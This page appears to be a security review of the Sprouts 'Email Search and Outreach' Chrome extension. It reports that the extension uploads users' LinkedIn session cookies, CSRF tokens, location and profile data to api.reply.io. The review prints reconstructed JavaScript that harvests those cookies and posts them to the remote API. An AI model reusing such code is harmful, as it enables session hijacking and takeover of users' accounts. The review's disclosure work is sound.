Is Email Search and Outreach by Sprouts safe?
Email Search and Outreach by Sprouts captures your live LinkedIn session cookies and sends them to its own backend.
The background service worker reads your LinkedIn authentication cookie (li_at) along with JSESSIONID, csrf-token, and several other session cookies and headers via chrome.cookies and a webRequest tap, bundles them with your IP-based location and profile data, and posts the bundle to the vendor's api.reply.io backend. It repeats this whenever the LinkedIn session cookie changes and on a recurring timer, so the vendor's server keeps a live copy of your authenticated LinkedIn session usable to act as you server-side.
Who publishes itSprouts Inc - no other listings under this identity, 7 shared hostnames
Sprouts Inc - no other listings under this identity, 7 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 7 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Background worker reads your LinkedIn session cookies and sends them to Reply.io
Code analysis shows the background service worker reads your LinkedIn session cookies (li_at, JSESSIONID, bcookie and more), adds an IP-derived location, and posts the bundle to Reply.io's own backend for server-side session replay.
You sign into the Sprouts/Reply.io extension and have an active LinkedIn session in the same browser.
The background service worker reads your LinkedIn session cookies and tracking headers, adds your IP-derived location, and sends the whole bundle to Reply.io's own backend.
Cookie and header harvest, then upload to Reply.io's own API
async function buildLinkedInCredentialBundle() {
try {
const COOKIE_NAMES = ["li_at", "bcookie", "lang", "liap", "li_theme_set", "li_theme", "timezone", "bscookie", "li_a"];
const credentials = { userAgent: navigator.userAgent };
const userCoordinates = await getIpGeolocation(); // GET http://ip-api.com/json/
const allLinkedInCookies = await chrome.cookies.getAll({ url: "https://www.linkedin.com" });
const { liHeaders: capturedHeaders = {} } = await chrome.storage.local.get("liHeaders");
const langCookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "lang" });
const liapCookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "liap" });
const bcookieCookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "bcookie" });
const liACookie = await chrome.cookies.get({ url: "https://www.linkedin.com", name: "li_a" });
const jsessionId = allLinkedInCookies.find(c => c.name === "JSESSIONID")?.value ?? null;
const allCookies = [...allLinkedInCookies, langCookie, liapCookie, bcookieCookie, liACookie];
if (!jsessionId) { setCookieInvalid(true); return null; }
// Requires the 3 LinkedIn tracking headers captured by the webRequest tap first.
if (Object.values(capturedHeaders).filter(Boolean).length !== 3) {
setCookieInvalid(true);
(await getCachedRefreshTarget()) || showReSignInNudge();
return null;
}
// Sales Navigator gating on li_a: only forwarded once the account is
// confirmed to have Sales Nav access (or a cached flag says so).
const hasSalesNavAccess = await checkSalesNavAccess();
let liAValue = "";
if (hasSalesNavAccess) {
const cachedFlag = getCachedSalesNavFlag();
if (liACookie?.value || cachedFlag) liAValue = liACookie?.value ?? "";
else { notifyLinkedAccountPending(); return null; }
}
for (const cookie of allCookies) {
if (cookie && COOKIE_NAMES.includes(cookie.name)) credentials[cookie.name] = cookie.value;
}
const fullCredentialBundle = {
...credentials,
...capturedHeaders, // x-li-lang, x-li-track, x-restli-protocol-version, csrf-token
...(liAValue ? { li_a: liAValue } : {}),
JSESSIONID: jsessionId,
"csrf-token": jsessionId.replace(/"/g, "")
};
// Scrape the LinkedIn profile in the same authenticated session
const profile = await (await fetch("https://www.linkedin.com/voyager/api/me", {
headers: { "csrf-token": jsessionId.replace(/"/g, "") }
})).json();
const bundle = {
liAt: JSON.stringify(credentials),
linkedInAccountV2Credentials: JSON.stringify(fullCredentialBundle),
userCoordinates,
linkedInAccountV2Data: extractProfileFields(profile)
};
return {
...bundle,
firstName: profile.miniProfile.firstName,
lastName: profile.miniProfile.lastName,
publicIdentifier: profile.miniProfile.publicIdentifier,
profilePhotoUrls: buildProfilePhotoUrls(profile)
};
} catch {
return null;
}
}async function sendLinkedInCredentialsToReplyIo(linkedInAccountId, bundle) {
return replyIoV2Client.linkedInAccounts.updateLinkedInAccountCookie({
linkedInAccountId,
linkedInAccountData: {
cookie: bundle.liAt,
userCoordinates: bundle.userCoordinates,
linkedInAccountV2Credentials: bundle.linkedInAccountV2Credentials,
linkedInAccountV2Data: bundle.linkedInAccountV2Data
}
});
}
// SDK layer: POSTs to https://api.reply.io/api/v2/chrome-extension/linkedinaccounts/{id}/cookie
function updateLinkedInAccountCookie(client, { linkedInAccountId, linkedInAccountData }) {
return client.post({
url: `linkedinaccounts/${linkedInAccountId}/cookie`,
json: linkedInAccountData
});
}
function initReplyIoClients(request, extra) {
replyIoV1Client = createClient("https://api.reply.io/api/v1/chrome-extension", request, extra);
replyIoV2Client = createClient("https://api.reply.io/api/v2/chrome-extension", request, extra);
}| Field | Value | Why it matters | |
|---|---|---|---|
LinkedIn login session (li_at) | AQEDATib3f0AAAGY... (illustrative) | The single token that keeps you signed into LinkedIn. Anyone holding it can act as you on linkedin.com without your password. | |
Session ID and CSRF token | ajax:8123456789012345678 (illustrative) | Server-side session identifier and anti-forgery token LinkedIn uses to validate requests as you. | |
Tracking cookies (bcookie, liap, etc.) | bcookie="v=2&8f3e19a2-..." (illustrative) | Long-lived device and preference identifiers LinkedIn sets on your browser. | |
Your approximate location | {"latitude": 40.71, "longitude": -74.0} (illustrative) | Latitude and longitude derived from your public IP address, attached to the bundle. | |
LinkedIn profile data | firstName, lastName, publicIdentifier=jane-doe-4821 (illustrative) | Your name, photo, and public LinkedIn identifier, scraped from the same authenticated session. |
| When | You did | Extension did |
|---|---|---|
| immediate, on cookie change | user You log into LinkedIn, or LinkedIn rotates your li_at/li_a session cookie. | extension The service worker immediately rebuilds the full credential bundle and posts it to Reply.io again. |
| periodic (server-set refresh interval) | extension A periodic refresh timer elapses while a linked LinkedIn account is configured. | extension The service worker re-checks the linked account and re-sends the bundle if it is still current. |
- api.reply.io
Reply.io's own v2 chrome-extension API; this Sprouts extension is white-labeled Reply.io. Receives the LinkedIn cookie bundle, headers, location, and profile data.
- ip-api.com
Third-party IP geolocation lookup. Receives your public IP address so a latitude/longitude can be attached to the bundle sent to Reply.io.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Email Search and Outreach by Sprouts contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ip-api.comwidely used
Email Search and Outreach by Sprouts sends data to ip-api.com. A widely used service: 62 other extensions we have analysed send data here.
- api.reply.io
Email Search and Outreach by Sprouts sends data to api.reply.io. One other extension we have analysed sends data here.